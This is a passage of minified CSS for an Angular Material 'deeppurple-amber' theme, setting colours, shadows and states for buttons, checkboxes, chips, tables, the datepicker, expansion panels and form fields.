.mat-stroked-button{color:inherit;background:transparent}.deeppurple-amber-theme .mat-button.mat-primary,.deeppurple-amber-theme .mat-icon-button.mat-primary,.deeppurple-amber-theme .mat-stroked-button.mat-primary{color:#673ab7}.deeppurple-amber-theme .mat-button.mat-accent,.deeppurple-amber-theme .mat-icon-button.mat-accent,.deeppurple-amber-theme .mat-stroked-button.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-button.mat-warn,.deeppurple-amber-theme .mat-icon-button.mat-warn,.deeppurple-amber-theme .mat-stroked-button.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.deeppurple-amber-theme .mat-button.mat-primary .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#673ab7}.deeppurple-amber-theme .mat-button.mat-accent .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ffa000}.deeppurple-amber-theme .mat-button.mat-warn .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.deeppurple-amber-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.deeppurple-amber-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.deeppurple-amber-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.deeppurple-amber-theme .mat-button .mat-ripple-element,.deeppurple-amber-theme .mat-icon-button .mat-ripple-element,.deeppurple-amber-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.deeppurple-amber-theme .mat-button-focus-overlay{background:black}.deeppurple-amber-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.deeppurple-amber-theme .mat-flat-button,.deeppurple-amber-theme .mat-raised-button,.deeppurple-amber-theme .mat-fab,.deeppurple-amber-theme .mat-mini-fab{color:#000000de;background-color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-primary,.deeppurple-amber-theme .mat-raised-button.mat-primary,.deeppurple-amber-theme .mat-fab.mat-primary,.deeppurple-amber-theme .mat-mini-fab.mat-primary{color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-accent,.deeppurple-amber-theme .mat-raised-button.mat-accent,.deeppurple-amber-theme .mat-fab.mat-accent,.deeppurple-amber-theme .mat-mini-fab.mat-accent{color:#000000de}.deeppurple-amber-theme .mat-flat-button.mat-warn,.deeppurple-amber-theme .mat-raised-button.mat-warn,.deeppurple-amber-theme .mat-fab.mat-warn,.deeppurple-amber-theme .mat-mini-fab.mat-warn{color:#fff}.deeppurple-amber-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.deeppurple-amber-theme .mat-flat-button.mat-primary,.deeppurple-amber-theme .mat-raised-button.mat-primary,.deeppurple-amber-theme .mat-fab.mat-primary,.deeppurple-amber-theme .mat-mini-fab.mat-primary{background-color:#673ab7}.deeppurple-amber-theme .mat-flat-button.mat-accent,.deeppurple-amber-theme .mat-raised-button.mat-accent,.deeppurple-amber-theme .mat-fab.mat-accent,.deeppurple-amber-theme .mat-mini-fab.mat-accent{background-color:#ffa000}.deeppurple-amber-theme .mat-flat-button.mat-warn,.deeppurple-amber-theme .mat-raised-button.mat-warn,.deeppurple-amber-theme .mat-fab.mat-warn,.deeppurple-amber-theme .mat-mini-fab.mat-warn{background-color:#f44336}.deeppurple-amber-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.deeppurple-amber-theme .mat-flat-button.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-flat-button.mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-flat-button.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-stroked-button:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeppurple-amber-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-fab:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeppurple-amber-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.deeppurple-amber-theme .mat-button-toggle{color:#00000061}.deeppurple-amber-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.deeppurple-amber-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.deeppurple-amber-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.deeppurple-amber-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.deeppurple-amber-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.deeppurple-amber-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.deeppurple-amber-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.deeppurple-amber-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.deeppurple-amber-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.deeppurple-amber-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.mat-button-toggle-appearance-standard .mat-button-toggle-label-content{line-height:48px}.deeppurple-amber-theme .mat-card{background:white;color:#000000de}.deeppurple-amber-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeppurple-amber-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-card-subtitle{color:#0000008a}.deeppurple-amber-theme .mat-checkbox-frame{border-color:#0000008a}.deeppurple-amber-theme .mat-checkbox-checkmark{fill:#fafafa}.deeppurple-amber-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.deeppurple-amber-theme .mat-checkbox-mixedmark{background-color:#fafafa}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#673ab7}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#ffa000}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.deeppurple-amber-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.deeppurple-amber-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.deeppurple-amber-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.deeppurple-amber-theme .mat-checkbox .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#673ab7}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ffa000}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.deeppurple-amber-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.deeppurple-amber-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeppurple-amber-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip:after{background:black}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-table{background:white}.deeppurple-amber-theme .mat-table thead,.deeppurple-amber-theme .mat-table tbody,.deeppurple-amber-theme .mat-table tfoot,.deeppurple-amber-theme mat-header-row,.deeppurple-amber-theme mat-row,.deeppurple-amber-theme mat-footer-row,.deeppurple-amber-theme [mat-header-row],.deeppurple-amber-theme [mat-row],.deeppurple-amber-theme [mat-footer-row],.deeppurple-amber-theme .mat-table-sticky{background:inherit}.deeppurple-amber-theme mat-row,.deeppurple-amber-theme mat-header-row,.deeppurple-amber-theme mat-footer-row,.deeppurple-amber-theme th.mat-header-cell,.deeppurple-amber-theme td.mat-cell,.deeppurple-amber-theme td.mat-footer-cell{border-bottom-color:#0000001f}.deeppurple-amber-theme .mat-header-cell{color:#0000008a}.deeppurple-amber-theme .mat-cell,.deeppurple-amber-theme .mat-footer-cell{color:#000000de}.deeppurple-amber-theme .mat-calendar-arrow{fill:#0000008a}.deeppurple-amber-theme .mat-datepicker-toggle,.deeppurple-amber-theme .mat-datepicker-content .mat-calendar-next-button,.deeppurple-amber-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.deeppurple-amber-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-calendar-table-header,.deeppurple-amber-theme .mat-calendar-body-label{color:#0000008a}.deeppurple-amber-theme .mat-calendar-body-cell-content,.deeppurple-amber-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.deeppurple-amber-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.deeppurple-amber-theme .mat-calendar-body-in-preview{color:#0000003d}.deeppurple-amber-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.deeppurple-amber-theme .mat-calendar-body-in-range:before{background:rgba(103,58,183,.2)}.deeppurple-amber-theme .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(103,58,183,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(103,58,183,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-calendar-body-selected{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#673ab766}.deeppurple-amber-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeppurple-amber-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#673ab74d}@media (hover: hover){.deeppurple-amber-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#673ab74d}}.deeppurple-amber-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(255,160,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,160,0,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,160,0,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ffa00066}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ffa0004d}@media (hover: hover){.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ffa0004d}}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.deeppurple-amber-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeppurple-amber-theme .mat-datepicker-toggle-active{color:#673ab7}.deeppurple-amber-theme .mat-datepicker-toggle-active.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-date-range-input-inner[disabled]{color:#00000061}.deeppurple-amber-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.deeppurple-amber-theme .mat-divider{border-top-color:#0000001f}.deeppurple-amber-theme .mat-divider-vertical{border-right-color:#0000001f}.deeppurple-amber-theme .mat-expansion-panel{background:white;color:#000000de}.deeppurple-amber-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-action-row{border-top-color:#0000001f}.deeppurple-amber-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.deeppurple-amber-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.deeppurple-amber-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.deeppurple-amber-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.deeppurple-amber-theme .mat-expansion-panel-header-title{color:#000000de}.deeppurple-amber-theme .mat-expansion-panel-header-description,.deeppurple-amber-theme .mat-expansion-indicator:after{color:#0000008a}.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.mat-expansion-panel-header{height:48px}.mat-expansion-panel-header.mat-expanded{height:64px}.deeppurple-amber-theme .mat-form-field-label,.deeppurple-amber-theme .mat-hint{color:#0009}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label{color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-focused .mat-form-field-required-marker{color:#ffa000}.deeppurple-amber-theme .mat-form-field-ripple{background-color:#000000de}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#673ab7}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#ffa000}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.deeppurple-amber-theme .mat-error{color:#f44336}.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-form-field-label,.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeppurple-amber-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeppurple-amber-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.deeppurple-amber-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled 